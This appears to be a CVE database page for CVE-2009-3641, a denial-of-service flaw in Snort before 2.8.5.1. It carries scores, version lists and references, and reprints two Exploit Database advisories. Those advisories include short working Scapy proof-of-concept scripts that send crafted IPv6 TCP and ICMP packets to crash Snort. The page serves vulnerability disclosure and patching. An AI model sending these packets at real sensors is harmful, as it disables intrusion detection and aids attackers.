CVE-2009-3641 : Detail

CVE-2009-3641

33.24%V4
Network
2009-10-28
13h00 +00:00
2017-08-16
12h57 +00:00
CVE.org
NVD
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CVE Descriptions

Snort before 2.8.5.1, when the -v option is enabled, allows remote attackers to cause a denial of service (application crash) via a crafted IPv6 packet that uses the (1) TCP or (2) ICMP protocol.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4.3 AV:N/AC:M/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 33306

Publication date : 2009-10-21 22h00 +00:00
Author : laurent gaffie
EDB Verified : Yes

source: https://www.securityfocus.com/bid/36795/info Snort is prone to multiple denial-of-service vulnerabilities because the application fails to properly process specially crafted IPv6 packets. Attackers can exploit these issues to crash the affected application, causing denial-of-service conditions. These issues affect Snort 2.8.5; other versions may also be vulnerable. You can reproduce theses two differents bugs easily by using the Python low-level networking lib Scapy (http://www.secdev.org/projects/scapy/files/scapy-latest.zip) 1) #only works on x86 #/usr/bin/env python from scapy.all import * u = "\x92"+"\x02" * 6 send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP 2) # works x86,x64 #/usr/bin/env python from scapy.all import * z = "Q" * 30 send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 -> icmp (not v6)
Exploit Database EDB-ID : 9969

Publication date : 2009-10-22 22h00 +00:00
Author : laurent gaffie
EDB Verified : Yes

============================================= - Date: October 22th, 2009 - Discovered by: Laurent Gaffi&#65533; - Severity: Low ============================================= I. VULNERABILITY ------------------------- Snort <= 2.8.5 IPV6 Remote DoS II. DESCRIPTION ------------------------- A remote DoS was present in Snort 2.8.5 when parsing some specialy IPv6 crafted packet To trigger theses bugs you need to have compiled snort with the --enable-ipv6 option, and run it in verbose mode (-v) III. PROOF OF CONCEPT ------------------------- You can reproduce theses two differents bugs easily by using the Python low-level networking lib Scapy (http://www.secdev.org/projects/scapy/files/scapy-latest.zip) 1) #only works on x86 #/usr/bin/env python from scapy.all import * u = "\x92"+"\x02" * 6 send(IPv6(dst="IPv6_addr_here", nh=6)/u) #nh6 -> TCP 2) # works x86,x64 #/usr/bin/env python from scapy.all import * z = "Q" * 30 send(IPv6(dst="IPv6_ADDR_HERE",nh=1)/ICMPv6NIQueryNOOP(type=4)/z) #nh1 -> icmp (not v6) IV. SYSTEMS AFFECTED ------------------------- Theses proof of concept as been tested on snort: - 2.8.5 V. NOT AFFECTED ------------------------- Sourcefire 3D Sensor VI. SOLUTION ------------------------- A new version correcting theses issues as been released (2.8.5.1) : http://www.snort.org/downloads VII. REFERENCES ------------------------- http://www.snort.org/ http://vrt-sourcefire.blogspot.com/ VIII. REVISION HISTORY ------------------------- October 14th, 2009: First issue discovered, advisory send to snort team. October 14th, 2009: Snort security team confirm the bug. October 16th, 2009: Second issue discovered, advisory send to snort team. October 20th, 2009: Snort security team confirm the bug. October 22th, 2009: Snort team released a new version. IX. CREDITS ------------------------- This vulnerability has been discovered by Laurent Gaffi&#65533; Laurent.gaffie{remove-this}(at)gmail.com

Products Mentioned

Configuraton 0

Snort>>Snort >> Version To (including) 2.8.3.5

Snort>>Snort >> Version 1.6

Snort>>Snort >> Version 1.8.0

Snort>>Snort >> Version 1.8.1

Snort>>Snort >> Version 1.8.2

Snort>>Snort >> Version 1.8.3

Snort>>Snort >> Version 1.8.4

Snort>>Snort >> Version 1.8.5

Snort>>Snort >> Version 1.8.6

Snort>>Snort >> Version 1.8.7

Snort>>Snort >> Version 1.9.0

Snort>>Snort >> Version 1.9.1

Snort>>Snort >> Version 2.0

Snort>>Snort >> Version 2.0

Snort>>Snort >> Version 2.6.1

Snort>>Snort >> Version 2.6.1.1

Snort>>Snort >> Version 2.6.1.2

Snort>>Snort >> Version 2.6.2

Snort>>Snort >> Version 2.7_beta1

Snort>>Snort >> Version 2.8.0

    Snort>>Snort >> Version 2.8.2.2

      Snort>>Snort >> Version 2.8.3

        Snort>>Snort >> Version 2.8.3.1

          Snort>>Snort >> Version 2.8.3.2

            Snort>>Snort >> Version 2.8.3.4

              Snort>>Snort >> Version 2.8.3.4.1

                References

                http://www.osvdb.org/59159
                Tags : vdb-entry, x_refsource_OSVDB
                http://www.securityfocus.com/bid/36795
                Tags : vdb-entry, x_refsource_BID
                http://securitytracker.com/id?1023076
                Tags : vdb-entry, x_refsource_SECTRACK
                http://secunia.com/advisories/37135
                Tags : third-party-advisory, x_refsource_SECUNIA
                http://marc.info/?l=oss-security&m=125649553414700&w=2
                Tags : mailing-list, x_refsource_MLIST
                http://www.vupen.com/english/advisories/2009/3014
                Tags : vdb-entry, x_refsource_VUPEN
                http://www.openwall.com/lists/oss-security/2009/10/25/5
                Tags : mailing-list, x_refsource_MLIST
                http://seclists.org/fulldisclosure/2009/Oct/299
                Tags : mailing-list, x_refsource_FULLDISC
                The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.